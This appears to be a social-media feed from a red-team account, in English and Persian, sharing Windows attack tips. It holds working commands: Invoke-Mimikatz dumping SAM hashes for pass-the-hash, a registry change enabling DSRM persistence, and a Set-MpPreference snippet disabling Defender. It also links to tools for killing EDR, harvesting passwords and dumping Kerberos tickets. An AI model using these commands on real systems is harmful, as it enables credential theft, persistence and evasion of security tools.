ped

RedTeam | OldGuy

[ped @pwndevice]

Windows Default Writable Folders:

1. C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys

2. C:\Windows\System32\spool\drivers\color

3. C:\Windows\Tasks

4. C:\Windows\tracing

#windows
#redteam

[ped @pwndevice]

@Cyber78678 Congrats buddy

[ped @pwndevice]

For verify:
Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\"
-Then Import MimikatzOBFS and run this to get NTLM of local Administrator:
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

Then you can PTH Attack.
#redteam
#persistence

[ped @pwndevice]

How to get DSRM Password?
Here we need to persistence and their is DSRM(safe mode recovery)
so we have to set item property to 2 in Registery:
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD

[ped @pwndevice]

خاموش کردن فایروال و Defender ویندوز با استفاده از powershell؛
Invoke-Command -ScriptBlock{Set-MpPreference -WhatYouWant $true}
به مثال تصویری زیر توجه کنید.

[ped @pwndevice]

"Zam64.sys"
It's an Anti Malware driver that can be abused.
Here is a tool for bypass AVs/EDR/XDR,
it will terminate them by sending an IOCTL(input/output control) with our PID to add us in Trusted list and it will permit to control some critical IOCTLs.
https://t.co/P1I33WhOoT

[HackTube5 @HackTube5]

😂😂😂😂this BB program is so fast #BugBounty

[ped @pwndevice]

@aliereza @M3y_Mah بله میتونید بدون دردسر ازش استفاده کنید؛
-DataStax
https://t.co/X2eJLito3R

-AMACS
https://t.co/QIyzHUgyAu

-Azure CosMos DB
https://t.co/mXb3h0GuM0

امیدوارم مفید باشه.

[ped @pwndevice]

@Amirhossein_k03 آقا لینوکس پشیمونی نداره ببر مشتری میشی😁

[ped @pwndevice]

@soheilsec بسیار عالی دوست من ، لذت بردم
البته نکته ای که بیشتر نظر منو جلب می‌کنه اون دیدگاهی هست که شما به صورت شاخه ای در نظر گرفتی و صرفا مجموعه های بکدور رو توضیح دادی و این کار رو جالب تر کرده

[ped @pwndevice]

@0xM4hd1 بله ، صرفا چون صفحه رو تازه باز کردم از بِ بسم الله نمیشد بپرم سر متد های پیچیده و ترکیبی ، گفتم ایده های ساده تر رو ابتدا به اشتراک بذارم

[ped @pwndevice]

توی امر RedTeam مبحث تثبیت دسترسی خیلی مهم هست ، توی تصویر زیر یک task تعریف کردم در task scheduler که توی زمان خاصی به عنوان مثال nslookup.exe رو اجرا کنه.
این یه دستور ساده هست که میتونید پیچیده‌تر کنید به عنوان مثال به جای ایجاد task جدید یک task قانونی رو تغییر بدید.
#redteam

[ped @pwndevice]

برای تازه کارها؛
نمیدونم با این بزرگوار آشنایی دارید یا نه اما چیز خوبیه برای استفاده وقتی تنبلید:
LaZagne
در واقع توی سیستم اجرا میکنید و تمام پسورد ها رو با انواع و اقسام روش های سامورایی از همه جا می‌کشه بیرون ، اونایی که تست نکردن ، بزنن و لذت ببرن ؛
https://t.co/N1A9Kd1y6c

[ped @pwndevice]

امروز هم رفته بودم یه قبرستون قدیمی که تازه ساخت بود سامانه هاش (اسمشو بگم همه میشناسن) ، به طرفی که مدیر هست اعلام کردیم آسیب پذیری هارو که نشت اطلاعات در حد کشوری میداد..
طرف میگه بالاخره می‌دونی مهندس ، زمان بره دیگه بیخیال بابا گزارش بده بره!!
و اینه وضعیت سامانه های مهم -__-

[ped @pwndevice]

:)))

[ped @pwndevice]

Dumping kerberos tickets using PowerShell.
Recently "Michael Zhmaylo" released a tool that allows you to do this.
It will enumerate the LUIDs and dump kerberos tickets from sessions(logged)
Tip: run this as privileged account.
https://t.co/zQAgtf8hNk
@pwn_world
@soloranger_me

[ped @pwndevice]

Gaining acccess from local admin to domain admin controller with TGS.
Doesn't matter Domain admins are logged or disconnected!
Tip: run cmd in admin Priv.
https://t.co/UBtvBtpzWN
@pwn_world
@soloranger_me

[ped @pwndevice]

@belachaaw بستگی داره چقدر عزیز باشه!